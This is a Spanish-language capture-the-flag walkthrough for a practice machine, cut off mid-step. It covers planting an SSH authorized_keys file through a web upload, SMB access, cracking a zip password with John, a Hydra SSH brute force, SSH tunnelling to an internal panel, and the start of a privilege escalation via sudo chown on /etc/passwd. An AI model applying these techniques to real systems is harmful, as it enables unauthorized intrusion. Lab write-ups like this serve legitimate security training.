Vemos que hay un /readme.txt, si leemos el .txt veremos lo siguiente.
It may be that the file that is being uploaded is being uploaded in a .ssh/?
Por lo que si lo que se sube, se sube a la carpeta de .ssh/ podremos hacer lo siguiente.
Subir clave publica (id_rsa.pub y authorized_keys)
Copiaremos nuestra id_rsa.pub a nuestro directorio actual.
Si no tenemos una Clave privada y publica haremos lo siguiente.
ssh-keygen-trsa-b4096
Una vez creadas las claves, haremos lo siguiente.
cp~/.ssh/id_rsa.pub.
Ahora creamos el archivo authorized_keys con el contenido del id_rsa.pub.
catid_rsa.pub>authorized_keys
Una vez teniendo los archivos, subiremos esos dos archivos mediante la pagina.
Una vez seleccionados los 2 archivos y subidos correctamente (Tendra que ponerte este mensaje en la pagina...)
Tipo MIME detectado: text/plain
Nombre del archivo subido: id_rsa.pub
Archivo subido correctamente.
Tipo MIME detectado: text/plain
Nombre del archivo subido: authorized_keys
Archivo subido correctamente.
SSH con id_rsa
Nos conectaremos mediante ssh con nuestra id_rsa privada y poniendo el usuario que vimos anteriormente en le enum4linux de la siguiente forma (En tal caso de que no supieras el usuario seria ir probando hasta que te dejara entrar con uno de ellos).
ssh-i~/.ssh/id_rsapasssamba@<IP>
Una vez hecho esto ya estariamos dentro veremos un archivo llamado note.txt que dice lo siguiente.
What would "sambaarribasiempre" be used for?
Vemos que es una posible contraseña del usuario sambauser en el puerto de smb.
Escalate user root-false
SMB
Nos conectaremos con el recurso compartido que vimos anteriormente y el usuario llamado sambauser.
smbclient//<IP>/read_only_share-Usambauser
Metemos la contraseña sambaarribasiempre y veremos que estamos dentro, si listamos veremos lo siguiente.
. D 0 Tue Aug 27 05:21:22 2024
.. D 0 Tue Aug 27 05:21:22 2024
secret.zip N 242 Tue Aug 27 05:21:14 2024
Hay un archivo .zip que nos descargaremos.
getsecret.zip
Una vez descargado, nos saldremos del smb y lo intentaremos descomprimir, pero veremos que necesita contraseña, por lo que haremos lo siguiente.
zip2john
zip2johnsecret.zip>hash
john--wordlist=<WORDLIST>hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwert (secret.zip/secret.txt)
1g 0:00:00:00 DONE (2024-08-27 10:22) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Una vez teniendo la contraseña, ahora si lo descomprimiremos.
unzip
unzipsecret.zip
Metemos la contraseña qwert.
Vemos que se nos descomprimio un archivo llamado secret.txt que su contenido es el siguiente.
root-false:cGFzc3dvcmRiYWRzZWN1cmV1bHRyYQ==
Si decodificamos ese Base64 veremos que la contraseña del usuario root-false es.
passwordbadsecureultra
Por lo que nos conectaremos mediante ssh.
SSH root-false
sshroot-false@<IP>
Metemos la contraseña obtenida y ya estaremos dentro, veremos un archico llamado message.txt que pondra lo siguiente.
Mario, remember this word, then the boss will get angry:
"pinguinodemarioelmejor"
Pero de momento no podremos hacer mucho con ello.
Escalate user less
Si vemos las IP's que tenemos con el siguiente comando.
ipa
Info:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
21: eth0@if22: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:16:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.22.0.2/16 brd 172.22.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet 10.10.11.5/24 scope global eth0
valid_lft forever preferred_lft forever
Vemos que hay otra IP a parte de la principal, por lo que la podremos tunelizar hacia nuestro host, igualmente, si vemos los puertos que estan corriendo con netstat veremos que hay un puerto 80 en la IP 10.10.11.5 corriendo, por lo que podremos hacer lo siguiente sabiendo eso.
Tunelizar puerto 80 de la IP secundaria
Tunelizaremos la IP secuandaria con el puerto 80 a nuestro host en el puerto 8080.
ssh-L8080:10.10.11.5:80root-false@<IP>
Una vez hecho esto y metida la contraseña, podremos meternos en la pagina web que esta corriendo en esa IP de la siguiente forma.
http://localhost:8080/
Y veremos un login, si recordamos antes vimos un archivo .txt que mencionaba a un usuario llamado mario y una posible contraseña.
User = mario
Pass = pinguinodemarioelmejor
Si metemos esas credenciales, veremos que nos hemos logueado, dentro de esa especie de panel, si inspeccionamos el codigo, a la derecha del todo, vemos un mensaje que dice lo siguiente.
<!--ultramegatextosecret.txt-->
Por lo que vemos puede ser una parte de la ruta de la URL, pondremos lo siguiente.
Vemos un texto bastante largo, por lo que alguna de estas palabras podria contener la contraseña del usuario less, nos crearemos un script en python3 para crear un diccionario con todas estas palabras y asi tirarle un hydra.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-27 10:54:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 223 login tries (l:1/p:223), ~4 tries per task
[DATA] attacking ssh://172.23.0.2:22/
[22][ssh] host: 172.23.0.2 login: less password: Cristal_de_la_Aurora
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 20 final worker threads did not complete until end.
[ERROR] 20 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-27 10:54:13
Vemos que sacamos las credenciales de less, por lo que haremos lo siguiente.
SSH user less
sshless@<IP>
Metemos la contraseña obtenida y ya estariamos dentro, por lo que leeremos la flag.
user.txt
381484fa9a5dfc3f62f0883a1297700c
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for less on be541860503e:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User less may run the following commands on be541860503e:
(ALL : ALL) NOPASSWD: /bin/chown
Vemos que podemos ejecutar como root el binario chown por lo que haremos lo siguiente.
sudochownless:less/etc/passwd
Ahora en nuestro host generamos una contraseña para implementarle a root en el archivo passwd de la siguiente forma.